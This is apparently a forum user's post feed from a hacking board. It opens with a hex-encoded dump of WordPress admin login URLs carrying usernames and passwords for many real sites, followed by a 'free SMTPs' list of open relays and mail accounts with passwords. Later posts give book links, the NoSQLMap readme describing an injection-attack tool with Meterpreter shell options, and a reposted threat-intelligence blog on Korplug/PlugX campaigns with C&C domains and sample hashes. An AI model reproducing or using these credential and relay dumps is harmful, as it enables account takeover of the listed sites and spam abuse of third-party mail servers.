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Fi8sVrs

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  1. Fi8sVrs

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    Fi8sVrs posted a topic in Free stuff

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414E5F73616D616E4067616D6534796F752E69722F77702D6C6F67696E2E7068700D0A687474703A2F2F64616E326D32303A43716656747646514653426E407777772E61706B746F70732E69722F77702D6C6F67696E2E7068700D0A687474703A2F2F4169676C657369617332393A574E794A7561476D4F306948406C61756E6368657266656E69782E636F6D2E61722F77702F77702D6C6F67696E2E7068700D0A687474703A2F2F757361696B756D617239393A32373530303933374072656E64616173747564696F732E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A70617373407777772E696E7472656E647374796C652E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F73616E636861693A303638393730363538407777772E696E7472656E647374796C652E636F6D2F776F726470726573732F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A7061737340696E7472656E647374796C652E636F6D2F77702F77702D6C6F67696E2E7068700D0A687474703A2F2F6D617261657374726164616D61723940676D61696C2E636F6D3A6D617261796A6F7365407777772E67726174697370656C6963756C61732E6F72672F77702D6C6F67696E2E7068700D0A687474703A2F2F6265676F3A313632383736323440637962657274726F6E69636167736D2E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F73616D61676931313A3130313131393537407777772E736578796C6B2E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F73616E3939756B40676D61696C2E636F6D3A7461796C6F726C6175746E657269736D796C6F766540776F726470726573732E636F6D2F77702D6C6F67696E2E7068700D0A68747470733A2F2F6269656E6573726169636573617A6F72696E40686F746D61696C2E636F6D3A79756A756C69616E40776F726470726573732E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F6F6E656D616E38393A61627261303039406E617275746F2D74762E696E666F2F77702D6C6F67696E2E7068700D0A687474703A2F2F64313233353038383A484E48616932303032407777772E6E656564726F6D2E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F74686E676F6377616E672E64616B68613A3132333435363738394074646B742E6564752E766E2F77702D6C6F67696E2E7068700D0A687474703A2F2F73696E6167686173656D693540676D61696C2E636F6D3A313337303532353740676F6F7061732E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F6D696C616436363A313337303532353740676F6F7061732E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F6272696E67206D652074686520686F72697A6F6E3A6D617269656C31323334407777772E6772617469736D75736963612E6F72672F77702D6C6F67696E2E7068700D0A68747470733A2F2F7065726379616C69726540686F746D61696C2E636F6D3A4A75616E53656261737469616E40776F726470726573732E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A316132623363346435654063616E65727A696E63616E74762E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F6465666F726D6564736F756C3A4A4721384423574477243925406D6574616C72696F742E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F6632776F726470726573733A6632776F726470726573734031323334406632776F726470726573732E6A6F6F6D6C617669776F726B732E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F5068616E44696E684B6861693A494A6F6F6D6C61646576407777772E73616D73706F776572686F7374696E672E636F6D2F706C617967726F756E642F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A6F72616E676573407777772E70726F6D6F736F6E66622E636F6D2F666565646261636B746573742F77702D6C6F67696E2E7068700D0A687474703A2F2F72657374617572616E743A72657374617572616E7440313233344072657374617572616E742E6A6F6F6D6C617669776F726B732E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F7669636B3A7669636B7669636B3132333424407777772E6D696E636F6E2E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E30333A4A655A73653833404070697461632E6F72672E61752F77702D6C6F67696E2E7068700D0A687474703A2F2F70726163746963616E7465733A2A70726163746963616E746573323031342A40616E67656C677561726469616E2E6D782F626574612F77702D6C6F67696E2E7068700D0A687474703A2F2F4564793A71617A777378656463406D632D726F6D616E69612E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F7061626C6F3A7061626C69746F406D692D726164696F2D7765622E63726561722D726164696F2E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A56616C6C61646172657331407777772E6E6F74696369616469676974616C2E74762F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A556E69766572736964616437407777772E6C6976656465696E632E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A4D61726369616D656C6C65676131407777772E747574616D6269656E7075656465736C656769736C61722E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F617276696E5F7674723A3165567625236C50597761344076696C6C65626F6E2D6368617270616B2E66722F77702D6C6F67696E2E7068700D0A687474703A2F2F6C696E686E76736230313235323A63307469656E63306C69656E40636D732E6670742E6564752E766E2F77702D6C6F67696E2E7068700D0A687474703A2F2F636865756E6778323A6C6574676F4078616E67612E636F6D2F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A6B6869676961313233406D737375652E766E2F77702D6C6F67696E2E7068700D0A687474703A2F2F73696C6365733A637261766F74746F38303133407777772E6772617469736A7565676F732E6F72672F77702D6C6F67696E2E7068700D0A687474703A2F2F61646D696E3A5850544F6C696F7A696E30393231407777772E6E6974726F7375706F7274652E636F6D2E62722F73657879696E6C6966652F77702D6C6F67696E2E7068700D0A687474703A2F2F656476696E2074656F733A70696F6C696E74656F73407777772E64642D70656C6963756C61732E636F6D2F77702D6C6F67696E2E7068700D0A 1x b16, 1x b64
  2. Fi8sVrs
    AnonymousCommunicationNetworks Protecting Privacy on the Web Author: Kun Peng Download: https://www.scribd.com/doc/248730780/Anonymous-Communication-Networks-Peng-Kun
  3. Fi8sVrs
    Windows Networking Tools The Complete Guide to Management,Troubleshooting, and Security Author: Gilbert Held Download: https://www.scribd.com/doc/248730315/Windows-Networking-Tools
      • 1
      • Upvote
  4. Fi8sVrs

    free SMTPs

    Fi8sVrs replied to prussic's topic in Cosul de gunoi

    inbox: 194.28.172.195:25 | test@vladam.com.ua : 123321 | SSL: False | Hostname: uahost.org | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 18:27:40 79.215.185.210:25 | no auth | SSL: False | Hostname: p4FD7B9D2.dip0.t-ipconnect.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 15:45:47 79.215.244.4:25 | no auth | SSL: False | Hostname: p4FD7F404.dip0.t-ipconnect.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 15:51:17 80.140.202.126:25 | no auth | SSL: False | Hostname: p508CCA7E.dip0.t-ipconnect.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 16:45:59 84.57.23.236:25 | no auth | SSL: False | Hostname: dslb-084-057-023-236.084.057.pools.vodafone-ip.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 20:11:33 31.17.56.26:25 | no auth | SSL: False | Hostname: ip1f11381a.dynamic.kabel-deutschland.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 21:09:47 31.220.1.99:25 | no auth | SSL: False | Hostname: smtp2.koddos.com | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 21:20:16 31.18.58.188:465 | no auth | SSL: True | Hostname: ip1f123abc.dynamic.kabel-deutschland.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 21:30:34 31.19.8.36:25 | no auth | SSL: False | Hostname: ip1f130824.dynamic.kabel-deutschland.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 21:49:07 31.19.62.183:25 | no auth | SSL: False | Hostname: ip1f133eb7.dynamic.kabel-deutschland.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 21:54:28 31.19.109.9:25 | no auth | SSL: False | Hostname: ip1f136d09.dynamic.kabel-deutschland.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 21:59:19 46.59.146.15:25 | no auth | SSL: False | Hostname: port-21604.pppoe.wtnet.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 22:11:31 46.59.173.225:25 | no auth | SSL: False | Hostname: port-31499.pppoe.wtnet.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 22:14:36 46.244.203.231:25 | no auth | SSL: False | Hostname: ppp-46-244-203-231.dynamic.mnet-online.de | Inbox: True | Blacklist: Listed | Time: 24.11.2014 - 23:15:47 46.4.80.50:25 | no auth | SSL: False | Hostname: static.50.80.4.46.clients.your-server.de | Inbox: True | Blacklist: Listed | Time: 25.11.2014 - 10:11:37 77.20.134.180:2525 | no auth | SSL: False | Hostname: ip4d1486b4.dynamic.kabel-deutschland.de | Inbox: True | Blacklist: Listed | Time: 25.11.2014 - 10:23:58 37.5.251.122:587 | office : office | SSL: True | Hostname: ip2505fb7a.dynamic.kabel-deutschland.de | Inbox: True | Blacklist: Listed | Time: 25.11.2014 - 11:38:00 62.143.36.222:25 | no auth | SSL: False | Hostname: ip-62-143-36-222.hsi01.unitymediagroup.de | Inbox: True | Blacklist: Listed | Time: 26.11.2014 - 03:38:51 46.163.110.162:25 | no auth | SSL: False | Hostname: wvps46-163-110-162.dedicated.hosteurope.de | Inbox: True | Blacklist: Listed | Time: 25.11.2014 - 23:26:41 62.143.90.2:25 | user@kueken-ja.com : secret | SSL: False | Hostname: ip-62-143-90-2.hsi01.unitymediagroup.de | Inbox: True | Blacklist: Listed | Time: 26.11.2014 - 03:44:19 46.165.237.173:25 | postmaster@almaseparand.com : 123456 | SSL: False | Hostname: mail.raymand.biz | Inbox: True | Blacklist: Listed | Time: 26.11.2014 - 05:58:05 80.81.18.211:25 | postmaster@sanvatio.de : postmaster | SSL: False | Hostname: host-80-81-18-211.customer.m-online.net | Inbox: True | Blacklist: Listed | Time: 26.11.2014 - 08:06:39 62.75.150.57:25 | kontakt@malgorzatagrad.com : daniel | SSL: False | Hostname: euve9726.server4you.net | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 00:17:37 85.190.1.171:25 | no auth | SSL: False | Hostname: s004-ct-ffm-r01.ec-c.net | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 13:49:28 62.157.206.203:25 | info@upcyclinghannabayer.de : monkey | SSL: False | Hostname: domainmail.vnet.de | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 16:38:20 87.118.88.205:25 | test@lutacom.net : 123456 | SSL: False | Hostname: ns.km30723-04.keymachine.de | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 20:22:20 5.196.175.43:2525 | no auth | SSL: False | Hostname: share43.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:08:27 5.196.175.77:2525 | no auth | SSL: False | Hostname: nature77.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:18:46 5.196.175.6:2525 | no auth | SSL: False | Hostname: share6.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:22:36 5.196.175.22:2525 | no auth | SSL: False | Hostname: share22.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:20:51 5.196.175.108:2525 | no auth | SSL: False | Hostname: nature108.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:24:21 5.196.175.109:2525 | no auth | SSL: False | Hostname: nature109.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:26:11 5.196.175.37:2525 | no auth | SSL: False | Hostname: share37.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:28:00 5.196.175.60:2525 | no auth | SSL: False | Hostname: share60.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:29:50 5.196.175.69:2525 | no auth | SSL: False | Hostname: nature69.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:31:38 5.196.175.57:2525 | no auth | SSL: False | Hostname: share57.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:33:27 5.196.175.32:2525 | no auth | SSL: False | Hostname: share32.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:38:53 5.196.175.39:2525 | no auth | SSL: False | Hostname: share39.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:35:15 5.196.175.10:2525 | no auth | SSL: False | Hostname: share10.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:37:03 5.196.175.105:2525 | no auth | SSL: False | Hostname: nature105.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:40:41 5.196.175.28:2525 | no auth | SSL: False | Hostname: share28.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:42:29 5.196.175.58:2525 | no auth | SSL: False | Hostname: share58.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:44:35 5.196.175.66:2525 | no auth | SSL: False | Hostname: nature66.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:48:40 5.196.175.26:2525 | no auth | SSL: False | Hostname: share26.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:46:38 5.196.175.49:2525 | no auth | SSL: False | Hostname: share49.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:54:47 5.196.175.47:2525 | no auth | SSL: False | Hostname: share47.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:58:23 5.196.175.64:2525 | no auth | SSL: False | Hostname: nature64.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:00:12 5.196.175.8:2525 | no auth | SSL: False | Hostname: share8.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:56:36 5.196.175.0:2525 | no auth | SSL: False | Hostname: share0.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 21:52:57 5.196.175.24:2525 | no auth | SSL: False | Hostname: share24.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:02:00 5.196.175.27:2525 | no auth | SSL: False | Hostname: share27.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:03:48 5.196.175.20:2525 | no auth | SSL: False | Hostname: share20.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:07:22 5.196.175.103:2525 | no auth | SSL: False | Hostname: nature103.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:09:09 5.196.175.30:2525 | no auth | SSL: False | Hostname: share30.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:13:13 5.196.175.98:2525 | no auth | SSL: False | Hostname: nature98.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:17:54 5.196.175.78:2525 | no auth | SSL: False | Hostname: nature78.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:05:37 5.196.175.107:2525 | no auth | SSL: False | Hostname: nature107.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:15:36 5.196.175.117:2525 | no auth | SSL: False | Hostname: nature117.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:11:05 5.196.175.23:2525 | no auth | SSL: False | Hostname: share23.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:20:07 5.196.175.61:2525 | no auth | SSL: False | Hostname: share61.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:26:05 5.196.175.50:2525 | no auth | SSL: False | Hostname: share50.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:24:14 5.196.175.46:2525 | no auth | SSL: False | Hostname: share46.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:27:53 5.196.175.90:2525 | no auth | SSL: False | Hostname: nature90.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:33:11 5.196.175.51:2525 | no auth | SSL: False | Hostname: share51.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:22:22 5.196.175.79:2525 | no auth | SSL: False | Hostname: nature79.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:31:28 5.196.175.74:2525 | no auth | SSL: False | Hostname: nature74.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:29:43 5.196.175.41:2525 | no auth | SSL: False | Hostname: share41.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:34:54 5.196.175.116:2525 | no auth | SSL: False | Hostname: nature116.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:36:41 5.196.175.91:2525 | no auth | SSL: False | Hostname: nature91.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:38:27 5.196.175.125:2525 | no auth | SSL: False | Hostname: nature125.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:40:23 5.196.175.101:2525 | no auth | SSL: False | Hostname: nature101.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:46:27 5.196.175.93:2525 | no auth | SSL: False | Hostname: nature93.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:50:42 5.196.175.70:2525 | no auth | SSL: False | Hostname: nature70.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:42:12 5.196.175.2:2525 | no auth | SSL: False | Hostname: share2.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:48:39 5.196.175.89:2525 | no auth | SSL: False | Hostname: nature89.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:44:22 5.196.175.36:2525 | no auth | SSL: False | Hostname: share36.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:52:44 5.196.175.3:2525 | no auth | SSL: False | Hostname: share3.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:56:20 5.196.175.112:2525 | no auth | SSL: False | Hostname: nature112.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:59:57 5.196.175.96:2525 | no auth | SSL: False | Hostname: nature96.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:54:28 5.196.175.106:2525 | no auth | SSL: False | Hostname: nature106.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:01:45 5.196.175.115:2525 | no auth | SSL: False | Hostname: nature115.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 22:58:08 5.196.175.42:2525 | no auth | SSL: False | Hostname: share42.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:05:21 5.196.175.87:2525 | no auth | SSL: False | Hostname: nature87.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:09:00 5.196.175.56:2525 | no auth | SSL: False | Hostname: share56.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:07:09 5.196.175.34:2525 | no auth | SSL: False | Hostname: share34.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:03:34 5.196.175.86:2525 | no auth | SSL: False | Hostname: nature86.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:24:40 5.196.175.11:2525 | no auth | SSL: False | Hostname: share11.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:28:11 5.196.175.102:2525 | no auth | SSL: False | Hostname: nature102.natureehome.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:26:25 5.196.175.52:2525 | no auth | SSL: False | Hostname: share52.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 27.11.2014 - 23:57:38 5.196.175.84:2525 | no auth | SSL: False | Hostname: nature84.natureehome.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 02:35:44 5.196.175.53:2525 | no auth | SSL: False | Hostname: share53.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 02:37:29 5.196.175.111:2525 | no auth | SSL: False | Hostname: nature111.natureehome.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 04:29:30 5.196.175.94:2525 | no auth | SSL: False | Hostname: nature94.natureehome.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 04:31:19 5.196.175.73:2525 | no auth | SSL: False | Hostname: nature73.natureehome.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 04:33:07 5.196.175.81:2525 | no auth | SSL: False | Hostname: nature81.natureehome.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 05:02:27 46.163.68.97:25 | webmaster@fania.de : 1234 | SSL: False | Hostname: wvps46-163-68-97.dedicated.hosteurope.de | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 06:32:20 87.118.112.243:25 | test@tolo.com.ua : 12345 | SSL: False | Hostname: tolo.com.ua | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 09:27:16 85.214.66.253:25 | test@huasun.eu : 1234567 | SSL: False | Hostname: h2196503.stratoserver.net | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 11:36:04 81.20.129.74:25 | office@yarisoft.de : 1q2w3e4r | SSL: False | Hostname: yarisoft.de | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 15:58:16 62.75.183.98:25 | info@sogutbahce.com : 111111 | SSL: False | Hostname: hosting.visualturk.net | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 19:11:46 62.75.151.229:25 | test@inseva.ch : 123456 | SSL: False | Hostname: euve11063.vserver.de | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 19:36:32 5.196.175.54:2525 | no auth | SSL: False | Hostname: share54.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 21:58:19 130.180.46.194:25 | no auth | SSL: False | Hostname: b2b-130-180-46-194.unitymedia.biz | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 22:20:23 5.196.175.29:2525 | no auth | SSL: False | Hostname: share29.sharenearby.com | Inbox: True | Blacklist: Listed | Time: 28.11.2014 - 23:12:58 82.165.145.225:25 | test@eightyfourrooms.com : 12345678 | SSL: False | Hostname: eightyfourrooms.com | Inbox: True | Blacklist: Listed | Time: 29.11.2014 - 00:56:54 62.75.229.62:25 | webmaster@soundtours.de : master | SSL: False | Hostname: deineanreise.de | Inbox: True | Blacklist: Listed | Time: 29.11.2014 - 03:21:24 46.163.109.113:25 | web@campingdelmare-cervo.com : 12345 | SSL: False | Hostname: wvps46-163-109-113.dedicated.hosteurope.de | Inbox: True | Blacklist: Listed | Time: 29.11.2014 - 03:34:18 79.133.48.200:25 | test@abadon.net : 123456 | SSL: False | Hostname: p7.qloc.de | Inbox: True | Blacklist: Listed | Time: 29.11.2014 - 05:14:50 62.75.237.9:25 | no auth | SSL: False | Hostname: mail.cf.ua | Inbox: True | Blacklist: Listed | Time: 29.11.2014 - 06:38:49
  5. Fi8sVrs
    foloseste ninite, ninite.com https://rstforums.com/forum/24204-ninite-easy-pc-setup-silent-unattended-install-multiple-programs-once.rst
  6. Fi8sVrs
    NoSQLMap v0.4 Introduction NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool sqlmap, and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, "Abusing NoSQL Databases". Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. Requirements On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: Metasploit Framework, Python with PyMongo, httplib2, and urllib available. A local, default MongoDB instance for cloning databases to. Check here for installation instructions. There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. Setup An experimental setup.sh script for Debian and Red Hat based systems is included. Any feedback or suggestions on improving this process is welcome. Usage -Start with ./nosqlmap.py or python nosqlmap.py. NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: 1-Set options (do this first) 2-NoSQL DB Access Attacks 3-NoSQL Web App attacks 4-Scan for Anonymous MongoDB Access x-Exit Explanation of options: 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. 2. Set web app port-TCP port for the web application if a web application is the target. 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102). 4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to. 6. Set shell listener port-If opening Meterpreter shells, specify the port. 7. Load options file-Load a previously saved set of settings for 1-6. 8. Load options from saved Burp request-Parse a request saved from Burp Suite and populate the web application options. 9. Save options file-Save settings 1-6 for future use. x. Back to main menu-Use this once the options are set to start your attacks. Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to nosqlmap@gmail.com or find me on Twitter @tcstoolHax0r if you have any questions or suggestions. Demo videos: Download: https://github.com/tcstool/NoSQLMap/archive/0.5.zip https://github.com/tcstool/NoSQLMap Official
  7. Fi8sVrs
    After taking a look at recent Korplug (PlugX) detections, we identified two larger scale campaigns employing this well-known Remote Access Trojan. This blog gives an overview of the first one, related to Afghanistan & Tajikistan. The other campaign, where the targets were a number of high-profile organizations in Russia, will be the subject of Anton Cherepanov’s presentation at the ZeroNights security conference in Moscow this week. Sometimes malware used in various attacks is unique enough to identify related incidents, which makes tracking individual botnets simpler. An example is the BlackEnergy Lite variant (also known as BlackEnergy 3) used by a group of attackers (that was then given the name Quedagh, or Sandworm) against targets in Ukraine and other countries. BlackEnergy Lite is clearly distinguishable from the numerous binaries of the more common BlackEnergy 2 also circulating in-the-wild. In other cases, attackers use more common tools for accomplishing their criminal goals. For example, the Korplug RAT (a.k.a .PlugX) is a well-known toolkit associated with Chinese APT groups and used in a large number of targeted attacks since 2012. For the past several weeks we have taken a closer look at a great number of detections of this malware in many unrelated incidents. Among these, we were able to discover several successful infections where the employed Korplug samples were connecting to the same C&C domain. DOMAIN: www.notebookhk.net Updated Date: 2013-11-12 18:03:45 Create Date: 2013-06-18 11:08:17 Registrant Name: lee stan Registrant Organization: lee stan Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 796373 Registrant Country: HK Registrant Phone : +0.04375094543 Registrant Fax: +0.04375094543 Registrant Email:stanlee@gmail.com Other Korplug samples were connecting to a different domain name resolving to the same IPs as notebookhk.net: DOMAIN: www.dicemention.com Updated Date: 2013-11-12 18:05:33 Create Date: 2013-09-10 14:35:11 Registrant Name: z x Registrant Organization: z x Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 123456 Registrant Country: HK Registrant Phone : +0.0126324313 Registrant Fax: +0.0126324313 Registrant Email: 123@123.com DOMAIN: www.abudlrasul.com Updated Date: 2014-10-16 14:16:27 Create Date: 2014-10-16 14:16:27 Registrant Name: gang xin Registrant Organization: gang xin Registrant Street: Argentina Argentina Registrant City: Argentina Registrant State: Argentina Registrant Postal Code: 647902 Registrant Country: AR Registrant Phone : +54.0899567089 Registrant Fax: +54.0899567089 Registrant Email: woffg89@yahoo.com Taking these C&Cs as a starting point, we were able to locate a number of victims infected through various exploit-laden spear-phishing documents and cunningly-named archives. A table with a selection of RTF documents and RAR self-extracting archives with a .SCR extension is shown below: [table=width: 500, class: grid, align: center] [tr] [td]File name[/td] [td] English translation[/td] [td]SHA1[/td] [/tr] [tr] [td]Situation Report about Afghan.doc[/td] [td][/td] [td]36119221826D0290BC23371B55A8C0E6A84718DD[/td] [/tr] [tr] [td]AGREEMENT BETWEENTHE NATO AND AFGHANISTAN ON THE STATUS OF NATO FORCES IN AFGHANISTAN.doc[/td] [td][/td] [td]A6642BC9F3425F0AB93D462002456BE231BB5646[/td] [/tr] [tr] [td]news.doc[/td] [td][/td] [td]51CDC273B5638E06906BCB700335E288807744B5[/td] [/tr] [tr] [td]???? ???????????? ?????????? ? ???????? ?????? ???????????? ??????? ?? ???? 2014 ?.scr[/td] [td]Activity plan for military units in the Volga region in July 2014[/td] [td]EA6EE9EAB546FB9F93B75DCB650AF22A95486391[/td] [/tr] [tr] [td]??????????????????????????????? ??? ?? .scr[/td] [td]Telephone directory of the Ministry of Foreign Affairs of the Kyrgyz Republic[/td] [td]D297DC7D29E42E8D37C951B0B11629051EEBE9C0[/td] [/tr] [tr] [td]? ?????? ?????????? ????????? ??????????????.scr[/td] [td]About the Center for social adaptation of servicemen[/td] [td]8E5E19EBE719EBF7F8BE4290931FFA173E658CB8[/td] [/tr] [tr] [td]???????? ??????? ??? ???.scr[/td] [td]Meeting minutes of the General Staff of the PRC[/td] [td]1F726E94B90034E7ABD148FE31EBA08774D1506F[/td] [/tr] [tr] [td]???????????? ?????? ????? ???????????.scr[/td] [td]Corrected action plan template[/td] [td]A9C627AA09B8CC50A83FF2728A3978492AEB79D8[/td] [/tr] [tr] [td]Situation Report about Afghan.scr[/td] [td][/td] [td]A9C627AA09B8CC50A83FF2728A3978492AEB79D8[/td] [/tr] [tr] [td]??????-???????????? ?????????? ? ??? ??04.10.2014.scr[/td] [td]Military and political situation in Islamic Republic of Afghanistan (IRA) on 04.10.2014[/td] [td]E32081C56F39EA14DFD1E449C28219D264D80B2F[/td] [/tr] [tr] [td]Afghan Air Force.scr[/td] [td][/td] [td]E32081C56F39EA14DFD1E449C28219D264D80B2F[/td] [/tr] [tr] [td]???? ???????????.scr[/td] [td]Action plan[/td] 